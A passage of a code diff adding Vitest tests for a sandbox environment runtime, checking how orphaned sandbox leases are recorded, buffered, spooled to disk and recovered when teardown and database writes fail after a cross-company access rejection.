+            Promise.reject(new Error("pending-cleanup write failed; database down")),
+        };
+      });
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockResolvedValue(undefined as never);
+    try {
+      // Set the retry backoff to zero, so the failed write retries never slow the
+      // test.
+      const runtime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 });
+      const rejection = await runtime
+        .acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        })
+        .then(
+          () => {
+            throw new Error("acquireRunLease resolved but must reject");
+          },
+          (error: unknown) => error,
+        );
+
+      // The rejection is the original company mismatch, not an orphan-cleanup
+      // write error, because the teardown removed the orphan.
+      expect(rejection).not.toBeInstanceOf(SandboxOrphanCleanupWriteError);
+      expect(rejection).toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } });
+      expect(destroySpy).toHaveBeenCalledTimes(1);
+
+      // No orphan remains and no durable row was needed, so the lease table is
+      // empty for the environment.
+      const rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(0);
+
+      // The buffer holds no orphan, so a flush recovers nothing.
+      const flushed = await runtime.flushDeferredOrphanCleanups();
+      expect(flushed).toEqual({ recovered: 0, pending: 0 });
+    } finally {
+      destroySpy.mockRestore();
+      factorySpy.mockRestore();
+    }
+  });
+
+  it("records a durable pending-cleanup lease when the plugin teardown fails after a foreign-company rejection", async () => {
+    const pluginId = randomUUID();
+    const { companyId, environment: baseEnvironment, runId } = await seedEnvironment();
+    const pluginConfig = { provider: "fake-plugin", image: "fake:test", reuseLease: false };
+    const environment = {
+      ...baseEnvironment,
+      name: "Foreign-bound Plugin Sandbox Teardown Fail",
+      driver: "sandbox",
+      config: pluginConfig,
+    };
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
+      name: environment.name,
+      config: pluginConfig,
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "paperclip.fake-plugin-sandbox-provider",
+      packageName: "@paperclipai/plugin-fake-sandbox",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "paperclip.fake-plugin-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Plugin Sandbox Provider",
+        description: "Test fake plugin provider",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            configSchema: { type: "object" },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Plugin",
+      issuePrefix: "OTD",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentDestroyLease"] })),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentAcquireLease") {
+          return {
+            providerLeaseId: "plugin-lease-2",
+            metadata: { provider: "fake-plugin", image: "fake:test", reuseLease: false },
+          };
+        }
+        if (method === "environmentDestroyLease") {
+          throw new Error("destroy failed");
+        }
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    await expect(
+      runtimeWithPlugin.acquireRunLease({
+        companyId,
+        environment,
+        issueId: null,
+        heartbeatRunId: runId,
+        persistedExecutionWorkspace: null,
+        assertCompanyBinding: true,
+      }),
+    ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } });
+
+    // The failed plugin teardown left a durable pending-cleanup row that carries
+    // the provider lease id for a later sweep.
+    const rows = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.environmentId, environment.id));
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.status).toBe("pending_cleanup");
+    expect(rows[0]?.cleanupStatus).toBe("failed");
+    expect(rows[0]?.providerLeaseId).toBe("plugin-lease-2");
+
+    await environmentService(db).update(environment.id, { driver: "local", config: {} });
+  });
+
+  it("throws a SandboxOrphanCleanupWriteError when the built-in durable pending-cleanup write also fails", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Cleanup Write Fail",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Cleanup Write",
+      issuePrefix: "OCW",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // The remote teardown fails, so the acquire tries to record a durable
+    // pending-cleanup row instead.
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValue(new Error("teardown failed"));
+    // Force the durable pending-cleanup write to fail on every attempt. The
+    // write retries a few times, so reject the insert each time and let the
+    // primary company-bound acquire reject for real.
+    const failingInsert = vi
+      .fn<Parameters<ReturnType<typeof environmentService>["insertPendingCleanupLease"]>, Promise<never>>()
+      .mockRejectedValue(new Error("pending-cleanup write failed"));
+    const realEnvironmentService = environmentsModule.environmentService;
+    const factorySpy = vi
+      .spyOn(environmentsModule, "environmentService")
+      .mockImplementation((database: Parameters<typeof realEnvironmentService>[0]) => {
+        const real = realEnvironmentService(database);
+        return {
+          ...real,
+          insertPendingCleanupLease: failingInsert,
+        };
+      });
+    // The durable database write fails, so the only durable handle left is the
+    // error log. Capture it to prove the leaked sandbox stays discoverable.
+    const logSpy = vi.spyOn(logger, "error").mockImplementation(() => logger);
+    try {
+      // Set the retry backoff to zero, so the retries never slow the test.
+      const runtimeWithFailingCleanup = environmentRuntimeService(db, {
+        pendingCleanupWriteBackoffMs: 0,
+      });
+      const rejection = await runtimeWithFailingCleanup
+        .acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        })
+        .then(
+          () => {
+            throw new Error("acquireRunLease resolved but must reject");
+          },
+          (error: unknown) => error,
+        );
+
+      // The failed durable write is not swallowed: the acquire throws a
+      // SandboxOrphanCleanupWriteError that keeps the original 403 rejection as
+      // its cause.
+      expect(rejection).toBeInstanceOf(SandboxOrphanCleanupWriteError);
+      expect(rejection).toMatchObject({ provider: "fake" });
+      expect((rejection as SandboxOrphanCleanupWriteError).cause).toMatchObject({
+        status: 403,
+        details: { code: "environment_company_mismatch" },
+      });
+      expect(destroySpy).toHaveBeenCalledTimes(1);
+      // The write retried the durable insert before it gave up, so more than one
+      // attempt ran.
+      expect(failingInsert.mock.calls.length).toBeGreaterThan(1);
+      // The durable write failed before it created a row, so no lease row exists.
+      const rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(0);
+      // The durable log preserves the provider identifiers, so an operator keeps
+      // a handle to find and tear the leaked sandbox down by hand.
+      const cleanupLog = logSpy.mock.calls.find(
+        ([fields]) =>
+          (fields as { errorKind?: string } | undefined)?.errorKind ===
+          "sandbox_orphan_cleanup_write_failed",
+      );
+      expect(cleanupLog).toBeDefined();
+      expect(cleanupLog?.[0]).toMatchObject({
+        provider: "fake",
+        companyId,
+        environmentId: environment.id,
+      });
+      // The log never carries the caught exception, so no credential leaks.
+      expect(cleanupLog?.[0]).not.toHaveProperty("cause");
+      expect(cleanupLog?.[0]).not.toHaveProperty("cleanupWriteError");
+    } finally {
+      logSpy.mockRestore();
+      factorySpy.mockRestore();
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("recovers cleanup state when a retry of the durable pending-cleanup write succeeds", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Cleanup Write Retry",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Cleanup Retry",
+      issuePrefix: "OCR",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // The remote teardown fails, so the acquire tries to record a durable
+    // pending-cleanup row instead.
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValue(new Error("teardown failed"));
+    // The first durable write attempt fails, so the acquire retries. The second
+    // attempt delegates to the real insert, so a durable pending_cleanup row
+    // lands and a later sweep can find the orphan.
+    let insertAttempts = 0;
+    const realEnvironmentService = environmentsModule.environmentService;
+    const factorySpy = vi
+      .spyOn(environmentsModule, "environmentService")
+      .mockImplementation((database: Parameters<typeof realEnvironmentService>[0]) => {
+        const real = realEnvironmentService(database);
+        return {
+          ...real,
+          insertPendingCleanupLease: (
+            input: Parameters<typeof real.insertPendingCleanupLease>[0],
+          ) => {
+            insertAttempts += 1;
+            if (insertAttempts === 1) {
+              return Promise.reject(new Error("pending-cleanup write failed once"));
+            }
+            return real.insertPendingCleanupLease(input);
+          },
+        };
+      });
+    try {
+      // Set the retry backoff to zero, so the retry never slows the test.
+      const runtimeWithRetry = environmentRuntimeService(db, {
+        pendingCleanupWriteBackoffMs: 0,
+      });
+      const rejection = await runtimeWithRetry
+        .acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        })
+        .then(
+          () => {
+            throw new Error("acquireRunLease resolved but must reject");
+          },
+          (error: unknown) => error,
+        );
+
+      // The retry landed the durable row, so the acquire rejects with the
+      // original company-mismatch rejection, not a SandboxOrphanCleanupWriteError.
+      expect(rejection).not.toBeInstanceOf(SandboxOrphanCleanupWriteError);
+      expect(rejection).toMatchObject({
+        status: 403,
+        details: { code: "environment_company_mismatch" },
+      });
+      expect(destroySpy).toHaveBeenCalledTimes(1);
+      // The first attempt failed and the second succeeded, so the write ran twice.
+      expect(insertAttempts).toBe(2);
+      // A durable pending_cleanup lease row now tracks the orphan, so a sweep can
+      // find and release the leaked sandbox.
+      const rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(1);
+      expect(rows[0]?.status).toBe("pending_cleanup");
+      expect(rows[0]?.cleanupStatus).toBe("failed");
+      expect(rows[0]?.failureReason).toBe("acquire_rejected_teardown_failed");
+    } finally {
+      factorySpy.mockRestore();
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("buffers the orphan in-process and a later sweep flush lands the durable row after the database recovers", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Cleanup Buffer Flush",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Cleanup Buffer",
+      issuePrefix: "OCB",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // The remote teardown fails, so the acquire tries to record a durable
+    // pending-cleanup row instead.
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValue(new Error("teardown failed"));
+    // The database is down, so every synchronous pending-cleanup write rejects.
+    // The flag flips to false when the database recovers, so a later flush lands
+    // the durable row.
+    let databaseDown = true;
+    const realEnvironmentService = environmentsModule.environmentService;
+    const factorySpy = vi
+      .spyOn(environmentsModule, "environmentService")
+      .mockImplementation((database: Parameters<typeof realEnvironmentService>[0]) => {
+        const real = realEnvironmentService(database);
+        return {
+          ...real,
+          insertPendingCleanupLease: (
+            input: Parameters<typeof real.insertPendingCleanupLease>[0],
+          ) => {
+            if (databaseDown) {
+              return Promise.reject(new Error("pending-cleanup write failed; database down"));
+            }
+            return real.insertPendingCleanupLease(input);
+          },
+        };
+      });
+    const logSpy = vi.spyOn(logger, "error").mockImplementation(() => logger);
+    try {
+      // Set the retry backoff to zero, so the retries never slow the test.
+      const runtime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 });
+      const rejection = await runtime
+        .acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        })
+        .then(
+          () => {
+            throw new Error("acquireRunLease resolved but must reject");
+          },
+          (error: unknown) => error,
+        );
+
+      // The synchronous write failed on every attempt, so the acquire still
+      // throws the orphan-cleanup write error that keeps the original rejection.
+      expect(rejection).toBeInstanceOf(SandboxOrphanCleanupWriteError);
+      // The database was down, so no durable row exists yet.
+      let rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(0);
+      // The acquire buffered the orphan in-process, so the log records the buffer.
+      const bufferedLog = logSpy.mock.calls.find(
+        ([fields]) =>
+          (fields as { errorKind?: string } | undefined)?.errorKind ===
+          "sandbox_orphan_cleanup_write_failed",
+      );
+      expect(bufferedLog?.[0]).toMatchObject({ buffered: true });
+
+      // The database recovers, so the next cleanup-sweep flush lands the row.
+      databaseDown = false;
+      const flushed = await runtime.flushDeferredOrphanCleanups();
+      expect(flushed).toEqual({ recovered: 1, pending: 0 });
+
+      // A durable pending_cleanup row now tracks the orphan, so a sweep finds and
+      // releases the leaked sandbox.
+      rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(1);
+      expect(rows[0]?.status).toBe("pending_cleanup");
+      expect(rows[0]?.cleanupStatus).toBe("failed");
+      expect(rows[0]?.failureReason).toBe("acquire_rejected_teardown_failed");
+      expect(rows[0]?.providerLeaseId).toBeTruthy();
+
+      // The buffer is empty now, so a second flush inserts nothing.
+      const second = await runtime.flushDeferredOrphanCleanups();
+      expect(second).toEqual({ recovered: 0, pending: 0 });
+      const rowsAfter = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rowsAfter).toHaveLength(1);
+    } finally {
+      logSpy.mockRestore();
+      factorySpy.mockRestore();
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("persists the orphan to the durable spool so a restart recovers and lands the durable row", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Cleanup Spool Restart",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Cleanup Spool Restart",
+      issuePrefix: "OCS",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // The remote teardown fails, so the acquire tries to record a durable
+    // pending-cleanup row instead.
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValue(new Error("teardown failed"));
+    // The database is down, so every synchronous pending-cleanup write rejects.
+    // The flag flips to false to simulate the database recovering after a
+    // restart.
+    let databaseDown = true;
+    const realEnvironmentService = environmentsModule.environmentService;
+    const factorySpy = vi
+      .spyOn(environmentsModule, "environmentService")
+      .mockImplementation((database: Parameters<typeof realEnvironmentService>[0]) => {
+        const real = realEnvironmentService(database);
+        return {
+          ...real,
+          insertPendingCleanupLease: (
+            input: Parameters<typeof real.insertPendingCleanupLease>[0],
+          ) => {
+            if (databaseDown) {
+              return Promise.reject(new Error("pending-cleanup write failed; database down"));
+            }
+            return real.insertPendingCleanupLease(input);
+          },
+        };
+      });
+    const logSpy = vi.spyOn(logger, "error").mockImplementation(() => logger);
+    const spoolDir = process.env.SANDBOX_ORPHAN_CLEANUP_SPOOL_DIR!;
+    try {
+      // The first process acquires, fails every synchronous write, and persists
+      // the orphan to the durable spool. The retry backoff is zero, so the test
+      // never waits.
+      const firstProcessRuntime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 });
+      const rejection = await firstProcessRuntime
+        .acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        })
+        .then(
+          () => {
+            throw new Error("acquireRunLease resolved but must reject");
+          },
+          (error: unknown) => error,
+        );
+      expect(rejection).toBeInstanceOf(SandboxOrphanCleanupWriteError);
+
+      // The database was down, so no durable row exists yet.
+      let rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(0);
+
+      // The acquire persisted the orphan to the durable spool, so a file waits on
+      // the disk and the log records the durable persist.
+      const spoolFiles = (await readdir(spoolDir)).filter((name) => name.endsWith(".json"));
+      expect(spoolFiles).toHaveLength(1);
+      const persistedLog = logSpy.mock.calls.find(
+        ([fields]) =>
+          (fields as { errorKind?: string } | undefined)?.errorKind ===
+          "sandbox_orphan_cleanup_write_failed",
+      );
+      expect(persistedLog?.[0]).toMatchObject({ persisted: true });
+
+      // The process restarts. A fresh runtime keeps no in-process buffer, so only
+      // the durable spool carries the orphan. The database recovers, so the first
+      // cleanup-sweep flush loads the spool and lands the durable row.
+      databaseDown = false;
+      const restartedRuntime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 });
+      const flushed = await restartedRuntime.flushDeferredOrphanCleanups();
+      expect(flushed).toEqual({ recovered: 1, pending: 0 });
+
+      rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(1);
+      expect(rows[0]?.status).toBe("pending_cleanup");
+      expect(rows[0]?.failureReason).toBe("acquire_rejected_teardown_failed");
+      expect(rows[0]?.providerLeaseId).toBeTruthy();
+
+      // The flush removed the spooled copy after the row landed, so a second
+      // restart never re-inserts a duplicate.
+      const spoolFilesAfter = (await readdir(spoolDir)).filter((name) => name.endsWith(".json"));
+      expect(spoolFilesAfter).toHaveLength(0);
+      const secondRestartRuntime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 });
+      const secondFlush = await secondRestartRuntime.flushDeferredOrphanCleanups();
+      expect(secondFlush).toEqual({ recovered: 0, pending: 0 });
+      const rowsAfter = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rowsAfter).toHaveLength(1);
+    } finally {
+      logSpy.mockRestore();
+      factorySpy.mockRestore();
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("buffers the orphan in-process when the durable spool write also fails", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Cleanup Spool Unwritable",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Cleanup Spool Unwritable",
+      issuePrefix: "OCU",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValue(new Error("teardown failed"));
+    let databaseDown = true;
+    const realEnvironmentService = environmentsModule.environmentService;
+    const factorySpy = vi
+      .spyOn(environmentsModule, "environmentService")
+      .mockImplementation((database: Parameters<typeof realEnvironmentService>[0]) => {
+        const real = realEnvironmentService(database);
+        return {
+          ...real,
+          insertPendingCleanupLease: (
+            input: Parameters<typeof real.insertPendingCleanupLease>[0],
+          ) => {
+            if (databaseDown) {
+              return Promise.reject(new Error("pending-cleanup write failed; database down"));
+            }
+            return real.insertPendingCleanupLease(input);
+          },
+        };
+      });
+    const logSpy = vi.spyOn(logger, "error").mockImplementation(() => logger);
+    try {
+      // Point the spool at an unwritable path, so the durable spool write fails
+      // like a full or read-only disk. The acquire must fall back to the
+      // in-process buffer and never lose the orphan silently.
+      const unwritableSpool = {
+        append: () => Promise.resolve(false),
+        load: () => Promise.resolve([]),
+        remove: () => Promise.resolve(),
+      };
+      const runtime = environmentRuntimeService(db, {
+        pendingCleanupWriteBackoffMs: 0,
+        orphanCleanupSpool: unwritableSpool,
+      });
+      await runtime
+        .acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        })
+        .then(
+          () => {
+            throw new Error("acquireRunLease resolved but must reject");
+          },
+          () => undefined,
+        );
+
+      // The spool write failed, so the log records the in-process-only fallback.
+      const fallbackLog = logSpy.mock.calls.find(
+        ([fields]) =>
+          (fields as { errorKind?: string } | undefined)?.errorKind ===
+          "sandbox_orphan_cleanup_write_failed",
+      );
+      expect(fallbackLog?.[0]).toMatchObject({ persisted: false, buffered: true });
+
+      // The same runtime still keeps the orphan in-process, so a flush after the
+      // database recovers lands the durable row.
+      databaseDown = false;
+      const flushed = await runtime.flushDeferredOrphanCleanups();
+      expect(flushed).toEqual({ recovered: 1, pending: 0 });
+      const rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(1);
+      expect(rows[0]?.status).toBe("pending_cleanup");
+    } finally {
+      logSpy.mockRestore();
+      factorySpy.mockRestore();
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("keeps the buffered orphan when the flush write still fails, then recovers on a later flush", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Cleanup Buffer Requeue",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Cleanup Requeue",
+      issuePrefix: "OCQ",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValue(new Error("teardown failed"));
+    let databaseDown = true;
+    const realEnvironmentService = environmentsModule.environmentService;
+    const factorySpy = vi
+      .spyOn(environmentsModule, "environmentService")
+      .mockImplementation((database: Parameters<typeof realEnvironmentService>[0]) => {
+        const real = realEnvironmentService(database);
+        return {
+          ...real,
+          insertPendingCleanupLease: (
+            input: Parameters<typeof real.insertPendingCleanupLease>[0],
+          ) => {
+            if (databaseDown) {
+              return Promise.reject(new Error("pending-cleanup write failed; database down"));
+            }
+            return real.insertPendingCleanupLease(input);
+          },
+        };
+      });
+    const errorLogSpy = vi.spyOn(logger, "error").mockImplementation(() => logger);
+    const warnLogSpy = vi.spyOn(logger, "warn").mockImplementation(() => logger);
+    try {
+      const runtime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 });
+      await runtime
+        .acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        })
+        .then(
+          () => {
+            throw new Error("acquireRunLease resolved but must reject");
+          },
+          () => undefined,
+        );
+
+      // The database is still down, so the flush re-queues the orphan instead of
+      // losing it. The buffer keeps the record for a later tick.
+      const firstFlush = await runtime.flushDeferredOrphanCleanups();
+      expect(firstFlush).toEqual({ recovered: 0, pending: 1 });
+      const rowsWhileDown = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rowsWhileDown).toHaveLength(0);
+      // The flush logs the re-queue and never carries the caught write exception.
+      // The sync-retry path also warns with the same error kind, so match on the
+      // `requeued` field that only the flush warn carries.
+      const requeueLog = warnLogSpy.mock.calls.find(
+        ([fields]) => (fields as { requeued?: boolean } | undefined)?.requeued === true,
+      );
+      expect(requeueLog).toBeDefined();
+      expect(requeueLog?.[0]).toMatchObject({
+        errorKind: "sandbox_orphan_cleanup_write_failed",
+        requeued: true,
+      });
+      expect(requeueLog?.[0]).not.toHaveProperty("cause");
+      expect(requeueLog?.[0]).not.toHaveProperty("cleanupWriteError");
+
+      // The database recovers, so the next flush lands the durable row exactly
+      // once from the still-buffered record.
+      databaseDown = false;
+      const secondFlush = await runtime.flushDeferredOrphanCleanups();
+      expect(secondFlush).toEqual({ recovered: 1, pending: 0 });
+      const rowsAfter = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rowsAfter).toHaveLength(1);
+      expect(rowsAfter[0]?.status).toBe("pending_cleanup");
+    } finally {
+      warnLogSpy.mockRestore();
+      errorLogSpy.mockRestore();
+      factorySpy.mockRestore();
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("throws a SandboxOrphanCleanupWriteError when the plugin durable pending-cleanup write also fails", async () => {
+    const pluginId = randomUUID();
+    const { companyId, environment: baseEnvironment, runId } = await seedEnvironment();
+    const pluginConfig = { provider: "fake-plugin", image: "fake:test", reuseLease: false };
+    const environment = {
+      ...baseEnvironment,
+      name: "Foreign-bound Plugin Sandbox Cleanup Write Fail",
+      driver: "sandbox",
+      config: pluginConfig,
+    };
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
+      name: environment.name,
+      config: pluginConfig,
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "paperclip.fake-plugin-sandbox-provider",
+      packageName: "@paperclipai/plugin-fake-sandbox",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "paperclip.fake-plugin-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Plugin Sandbox Provider",
+        description: "Test fake plugin provider",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            configSchema: { type: "object" },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Plugin Cleanup Write",
+      issuePrefix: "OPW",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentDestroyLease"] })),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentAcquireLease") {
+          return {
+            providerLeaseId: "plugin-lease-write-fail",
+            metadata: { provider: "fake-plugin", image: "fake:test", reuseLease: false },
+          };
+        }
+        if (method === "environmentDestroyLease") {
+          throw new Error("destroy failed");
+        }
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+    } as unknown as PluginWorkerManager;
+
+    const realEnvironmentService = environmentsModule.environmentService;
+    const factorySpy = vi
+      .spyOn(environmentsModule, "environmentService")
+      .mockImplementation((database: Parameters<typeof realEnvironmentService>[0]) => {
+        const real = realEnvironmentService(database);
+        return {
+          ...real,
+          insertPendingCleanupLease: () =>
+            Promise.reject(new Error("pending-cleanup write failed")),
+        };
+      });
+    try {
+      const runtimeWithPlugin = environmentRuntimeService(db, {
+        pluginWorkerManager: workerManager,
+        pendingCleanupWriteBackoffMs: 0,
+      });
+      const rejection = await runtimeWithPlugin
+        .acquireRunLease({
+          companyId,
+          environment,
